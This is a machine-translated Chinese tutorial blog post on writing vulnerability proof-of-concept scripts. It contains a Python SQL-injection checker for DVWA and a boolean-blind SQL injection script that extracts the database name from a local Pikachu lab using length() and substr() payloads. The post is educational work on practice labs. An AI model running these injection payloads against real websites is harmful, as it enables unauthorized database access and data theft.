当前位置:网站首页>Preliminary discussion on POC compilation
Preliminary discussion on POC compilation
2022-07-23 21:48:00 【sec0nd_】
List of articles
Preface
I want to exercise my programming ability , Elder martial brother said it will be very important in the future , Better learn a little better
But I also want to learn about safety , Then practice poc Well
What is? POC
PoC( Full name : Proof of Concept), Proof of concept of Chinese translation . In the security world , You can understand it as a vulnerability verifier ( In this tutorial , If there is no special instruction , The default represents vulnerability verifier ), Of course, you have to force me to say that I'm wrong , I definitely support you , Anyway, I'm not going to refute you . Compared with some applications ,PoC Is an incomplete program , Just a piece of code to prove the proposer's point . Because it's some code snippets , So I haven't seen a book about how to write it until now PoC Of , Because these things are for people who can write code , They will be surprised why they have to publish a book when it will happen in minutes .
What is? Exp
Exp( Full name : Exploit), It is called vulnerability exploiter in Chinese . The name is very clear , In short , It is a program that can play the value of loopholes , It feels the same as not saying . Imagine a scene like this , There is a goal SQL Inject holes , Then you know , Then you write a program , Through this SQL Inject holes , Got the authority of the target , Then this program is called Exp 了 , Of course , If you don't use this vulnerability , It's just there , So this loophole , It can be considered worthless to you .
POC matters needing attention
- Randomness Parameters are random ( Sometimes it's not random )
- generality Set up websites with the same components , Not for individual websites
- deterministic It is necessary to clearly verify whether the vulnerability exists
Try to write the first POC
dvwa Of sql Inject poc
This is to be on your own id Add ’
It can only be verified according to the returned results
import requests
import re
header = {
"Cookie":""}
url = input(" Please enter url")
r = requests.get(url.header)
res = str(r.content)
if re.search("syntax",res):
print(" There is sql Inject ")
else:
print(" non-existent sql Inject ")
pikachu sql Blind note poc
import requests
import string
url = "http://192.168.186.128/pikachu/vul/sqli/sqli_blind_b.php"
# Calculate the response packet length
params={
"name":"kobe","submit":" Inquire about "}
normalhtmllen = len(requests.get(url=url,params=params).text)
# url2=requests.get(url=url,params=params)
print("the len of HTML:",normalhtmllen)
# print(url2.url)
print("the len of HTML:"+str(normalhtmllen))
#+ I want to add the number str() Change to string
#------------ Determine the length of the database name --------------------------------
dbNameLen = 0
while True:
dbNameLen_url = url + "?name=kobe'+and+length(database())%3D"+str(dbNameLen)+"%23&submit= Inquire about "
#print(dbNameLen_url)
if len(requests.get(dbNameLen_url).text) == normalhtmllen:
print("The len of dbName",dbNameLen)
break
if dbNameLen == 200:
print("Error!")
break
dbNameLen += 1
#-----------------------------------------------------------------
#--- Use according to the obtained length substr() Traverse the complete database name one by one from the beginning to the end ------
dbName=""
for i in range(1,9):
for a in string.ascii_lowercase:
dbName_url=url + "?name=kobe'+and+substr(database(),"+str(i)+",1)='"+a+"'%23&submit= Inquire about "
#print(dbName_url)
if len(requests.get(dbName_url).text) == normalhtmllen:
dbName += a
print(dbName)

Reference resources
https://mp.weixin.qq.com/s?__biz=MzIyNTA1NzAxOA==&mid=402630401&idx=1&sn=8739dae646ec90ff4c813b14ef7e961f
http://labs.supinfochina.com/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8poc/
https://blog.csdn.net/qq_37622608/article/details/88048847
https://www.cxyzjd.com/article/qqchaozai/103567861
边栏推荐
- Yushu A1 robot dog gesture control
- Cluster chat server: cluster and distributed theory
- Cluster chat server: creation of project directory
- 存储结构和管理盘。有点像装win98要先分区格式化硬盘
- 北大清华2022年在各地录取人数排名
- Comparison of open source distributed link tracking
- 集群聊天服務器:數據庫錶的設計
- Sword finger offer Second Edition: string (simple)
- 数据库系统概论第五版课后习题——第一章 绪论
- [create birthday card application]
猜你喜欢

PCL error: error c2589 "(": "::" illegal mark on the right)

大淘营批量采集商品,如何将未上传的宝贝保存下来等后面再导入采集上传

集群聊天服务器:Model数据层的框架设计和数据库代码的封装

淘宝助理停用,用大淘营导入数据包上传宝贝提示“主图为必填项,不能为空”是什么原因?如何解决?

Openlayers instances advanced mapbox vector tiles advanced mapbox vector maps

Hezhou esp32c3 hardware configuration information serial port printout

【HiFlow】腾讯云新一代自动化助手,我用它完成了企业疫情提示(无代码)

DBSCAN点云聚类

Euclidean clustering (API) and its single tree segmentation

Principle and implementation of hash table, unordered set and mapping
随机推荐
U++学习笔记 基础人物轴绑定及映射绑定
集群聊天服务器:Model数据层的框架设计和数据库代码的封装
C - documents
Uniapp uses canvas to write a circular progress bar
Cesium core class viewer viewer details
Unity - 3D mathematics -vector3
University database creation and query practice -- database table design
软件体系结构期末复习六十题
Leaderboard design in game server
Use Gaode map JS API 2.0 to load the starting and ending path tracks
U++ learning notes tsubclassof()
Still have 1 requests outstanding when connection from slaveX/X.X.X.X:33202 is closed
[mathematical modeling summer training] location of distribution center
Construction and application progress of ten billion level knowledge map of meituan brain
PCL error: error c2589 "(": "::" illegal mark on the right)
js 对象数组去重
机器学习习题——对率回归
寻找消失的类名
基于速度、复杂性等因素比较KernelSHAP和TreeSHAP
query中的customer exit客户出口变量